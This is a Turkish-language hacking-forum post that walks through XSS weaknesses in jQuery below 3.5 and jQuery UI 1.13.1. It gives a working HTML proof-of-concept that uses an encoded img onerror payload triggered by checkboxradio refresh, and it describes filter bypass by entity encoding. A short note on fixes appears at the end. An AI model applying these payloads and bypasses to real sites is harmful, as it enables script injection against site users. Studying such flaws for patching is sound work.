Jquery Xss Zaafiyetleri 3.5 altı sürümler

'CaptainKanka

O Şimdi Asker!
14 Eki 2012
1,683
34
1,263
localhost/admin.php
Merhaba bu gün sizlere önceden paylaştığım jquery 3.5 ve altında olan xss açığını detaylıca anlatacağım.

Xss açığı temel anlamda girilen bir javascript kodunun herhangi bir denetimden geçmeden çalıştırılmasıyla oluşur.
Jquery versiyonlarında bulunan bu açık sürümden sürüme biraz farklılık göstermektedir.
1.8 versiyonunda bulunan bir labı çözümleyerek bu açığı anlatıp ardından 1.13 versiyonunda nasıl oluştuğunu belirterek konuyu bitireceğim.
Herhangi bir url veya gösterilen resim değeri bir web sayfası üstünden dönmeye ayarlanmışsa url kısmında siteadı.com/xss?örnek=/ tarzında bir bitiş verilir.
Bu bitiş kullanıcıdan bir verinin direk alınması veya arkaplanda buraya otomatik bir yerleştirmeyle yeniden düzenlenip karşınıza anlamlı bir veri çıkmasını sağlar.
Örneğin bir post işleminde işlenmesi düzenlemesi gibi durumlarda çalıştırılacak resim dosyası script tagları içinde işleniyorsa veya direkt olarak sayfada çalışıyorsa bu açık oluşabilir.
Buradaki analizimiz ise bu açığın ve filtrelenen kelimelerin neler olduğunu anlayarak bunu sömürme üstüne kuruludur.
Bazen html karakterler bakımından filtrelemeler olursa 1.13 versiyonundaki örnekteki kullanacağımız gibi "<" işareti yerine "&lt;" bunu kullanarak bypass edebiliriz.
yukarıdaki url'de ise eğer siteadı.com/xss?örnek=/ daki / silip bir veri girerek sayfada işleniyor mu kaynak kodlarda arayarak ulaşabiliriz.



Gördüğünüz gibi işlendi artık xss kodumuzu yazabiliriz.

Bir diğer versiyondaki 1.13.1 xss ise

Kod:
[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.1/jquery-ui.min.js"></script>
<link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.1/themes/base/jquery-ui.css">

<label>
    <!-- XSS -->
    &lt;img src=1 onerror=alert('deneme')&gt;
    <input type="radio" name="radio" class="radio">
</label>

<!-- Default Initialization of Checkboxes -->

<script>
    $('.radio').checkboxradio();
</script>

<!-- Refresh of Checkboxes after some time or event will trigger XSS -->

<script>
    setTimeout(function () {
        $('.radio').checkboxradio('refresh');
    }, 3000)
</script>



Gördüğünüz gibi radio butonu değeri direk olarak işleme alındığı için ve ">" "<" kullanımına dikkat edildiği için xss çalışmış oldu.
Fixleme işlemleri ise yerine göre whitelist, ip kontrolü veya htmlspecialchars (php) kullanılarak yapılması gerekmektedir.

Bazı sürümlerde ise img olarak xss oluşabilmektedir.

Xss açığı daha detaylı ve farklı bir kullanımı ise önceden çektiğimiz bir eğitim videosunda bulunmaktadır.
19.dakikadan sonrasını izleyebilirsiniz.

İlgili yazılar ve yararlanılan makaleler:

İyi Forumlar
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.